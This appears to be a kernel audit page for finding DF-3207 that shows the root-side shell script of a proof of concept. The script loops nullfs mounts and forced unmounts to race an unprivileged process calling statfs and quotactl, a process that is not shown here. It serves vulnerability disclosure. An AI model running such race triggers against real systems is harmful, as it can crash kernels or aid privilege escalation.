⬢ DragonFlyBSD Kernel Audit
DF-3207 / driver.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-3207 PoC - privileged driver side (root).
# Loops mount_null/umount -f on $ALIAS while the unpriv spammer hammers
# statfs/fstatfs/quotactl inside the nullfs mount.
TARGET=${1:-/tmp/t}
ALIAS=${2:-/mnt/a}
ROUNDS=${3:-10000}

mkdir -p "$TARGET" "$ALIAS"
echo hi > "$TARGET/f1"

i=0
while [ $i -lt $ROUNDS ]; do
	/sbin/mount_null "$TARGET" "$ALIAS" >/dev/null 2>&1
	/sbin/umount -f "$ALIAS" >/dev/null 2>&1
	i=$((i+1))
	if [ $((i % 50)) -eq 0 ]; then
		echo "round $i"
	fi
done
echo "driver done: $i rounds"